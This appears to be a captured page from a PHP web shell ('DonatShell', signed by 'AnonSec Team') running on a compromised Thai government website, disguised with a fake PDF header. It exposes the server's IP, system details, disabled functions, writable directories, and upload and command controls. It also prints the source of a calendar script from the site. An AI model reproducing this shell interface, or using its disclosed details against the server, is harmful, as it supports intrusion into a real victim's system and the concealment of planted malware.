%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.177.87  /  Your IP : 122.155.177.87
Web Server : Apache/2
System : Linux cat177-87.static.lnwhostname.com 3.10.0-1160.62.1.el7.x86_64 #1 SMP Tue Apr 5 16:57:59 UTC 2022 x86_64
User : apache ( 994)
PHP Version : 5.3.29
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,putenv,eval
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/thungkhana/domains/thungkhanan.go.th/public_html/calendar/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/thungkhana/domains/thungkhanan.go.th/public_html/calendar/fine_diary.php
<div align=center>
<?
     require_once('../admin/Connections/conndb.php'); 

$a= date(j); // , 1 to 31 
$b = date(a); // am,
$c = date(A); // AM,
$d = date(B); // Swatch Internet time 000 -999
$e = date(d); // , 01 to 31
$f = date(D); // , sat 
$g = date(F); // , November 
$h = date(g); // , 1 through 12
$hh = date(G); // , 0 through 23
$i = date(h); // , 01 through 12 
$j = date(H); // , 00 through 23 
$k = date(i); // , 00 to 59 
$l = date(I); // 0, 1 if Daylight Savings Time, 0 otherwise. 
$m = date(l); // , Sunday through Saturday
$n = date(L); // 0, 1 if it is a leap year, 0 otherwise.
$o = date(m); // , 01 through 12
$p = date(M); // , Jan through Dec
$q = date(n); // , 1 through 12
$r = date(o); // Example: +0200 
$s = date(r); // Example: Thu, 21 Dec 2000 16:01:07 +0200
$t = date(s); // 00 through 59
$u = date(S); // st, nd, rd or th. Works well with j 
$v = date(t); // 28 through 31
$w = date(T); // time zoneseting Examples: EST, MDT ...
$x = date(u); // See also time()
$y = date(w); // 0 (for Sunday) through 6 (for Saturday)
$z = date(W); // Example: 42 (the 42nd week in the year)
$aa = date(y); // Examples: 99 or 03
$bb = date(Y); // Examples: 1999 or 2003
$cc = date(z); 
$dd = date(Z); 


if(!$mon){
$mon = $o ;
}else{
$mon = $mon ;

}
if(!$year){
$year = $bb ;
}else{
$year = $year;
}
$firstday = mktime(0,0,0,$mon,1,$bb);
$firstdays = date('w',$firstday); 
$lastdays = date('t',$firstday); 
$year_view = date('Y',$firstday); 
$year_ok=$year_view+543;
$mon_view = date('m',$firstday); 
switch($mon_view)
								{
										case "1":
										$printmonth = "Ҥ";
										break;
										case "2":
										$printmonth = "Ҿѹ.";
										break;
										case "3":
										$printmonth = "չҤ";
										break;
										case "4":
										$printmonth = "¹";
										break;
										case "5":
										$printmonth = "Ҥ";
										break;
										case "6":
										$printmonth = "Զع¹";
										break;
										case "7":
										$printmonth = "áҤ";
										break;
										case "8":
										$printmonth = "ԧҤ";
										break;
										case "9":
										$printmonth = "ѹ¹";
										break;
										case "10":
										$printmonth = "Ҥ";
										break;
										case "11":
										$printmonth = "Ȩԡ¹";
										break;
										case "12":
										$printmonth = "ѹҤ";
										break;
										}
echo"
<script>
function d_s( su , mnp){ 
if(mnp == 'm'){
document.dat_form.mon.value = su - 1 ;
}else{
document.dat_form.mon.value = su + 1 ;
}
document.dat_form.submit();
}
</script>


<table border=0 width=100% cellpadding=2 cellspacing=1 bgcolor=#6DD0F7>
<form name=dat_form action='$PHP_SELF' method=post>
<input type=hidden name=mon value=''>
<tr bgcolor=pink>
<td colspan=7 align=center bgcolor=#CFF5FE class=title><a href=\"javascript:d_s($mon,'m')\" class=\"styles\"><img src=images/p_arrow.gif alt=͹˹ border=0></a>͹ $printmonth $year_ok &nbsp;<a href=\"javascript:d_s($mon,'p')\" class=\"styles\"><img src=images/n_arrow.gif alt=Ѵ border=0></a></td>
</form>
</tr>

<tr align=center><td class=title bgcolor=#FFFFFF></td><td class=title bgcolor=#FFFFFF></td><td class=title bgcolor=#FFFFFF></td><td class=title bgcolor=#FFFFFF></td><td class=title bgcolor=#FFFFFF></td><td class=title bgcolor=#FFFFFF></td><td class=title bgcolor=#FFFFFF></td></tr>
<tr align=right>";
//// 
for($i = 0; $i < 7 ; $i++){
if($firstdays == $i){
break;
}
else{
echo"<td width=8>&nbsp;</td>";
}
$week++; 
}
?>
<link href="../styles.css" rel="stylesheet" type="text/css" />
<?

for($i=1; $i<=$lastdays ;$i++){
switch($i)
								{
										case "1":
										$i = "01";
										break;
										case "2":
										$i = "02";
										break;
										case "3":
										$i = "03";
										break;
										case "4":
										$i = "04";
										break;
										case "5":
										$i = "05";
										break;
										case "6":
										$i = "06";
										break;
										case "7":
										$i = "07";
										break;
										case "8":
										$i = "08";
										break;
										case "9":
										$i = "09";
										break;		
										}
if($week % 7 == 0){
echo"</tr><tr align=right>";
}
if($a == $i){ 
$bgcolor = "bgcolor=#ACEFFD";
}else{
$bgcolor = "bgcolor=#35B6E3";
} 
$date_n=$year_view.'-'.$mon_view.'-'.$i;
	mysql_select_db($database_conndb, $conndb);
	$query_rsNews = "SELECT * FROM calendar where created = '$date_n'";
	$rsNews = mysql_query($query_rsNews, $conndb) or die(mysql_error());
	$row_rsNews = mysql_fetch_assoc($rsNews);
//echo $query_rsNews;
//echo $date_n;
	if($row_rsNews[created] ==$date_n) {	
$icon = "<img src=images/dot.gif>";
}else{
$icon = "";
} 
if($week%7==0){ 	
	echo"<td $bgcolor><a href=\"index.php?date=$i-$mon_view-$year_view\" class=\"styles2\" target=\"_blank\">$i</a> $icon</td>";

}else if($week%7==6){ 

	echo"<td $bgcolor><a href=\"index.php?date=$i-$mon_view-$year_view\" class=\"styles2\" target=\"_blank\">$i</a>$icon</td>";

}else{ // 
	
	echo"<td $bgcolor><a href=\"index.php?date=$i-$mon_view-$year_view\" class=\"styles2\" target=\"_blank\">$i</a>$icon</td>";

}
$week++; 

}

while($week%7!=0){
echo"<td>&nbsp;</td>";
$week++;
}
echo"</tr>

</table>
";
?>
</div>

Anon7 - 2022
AnonSec Team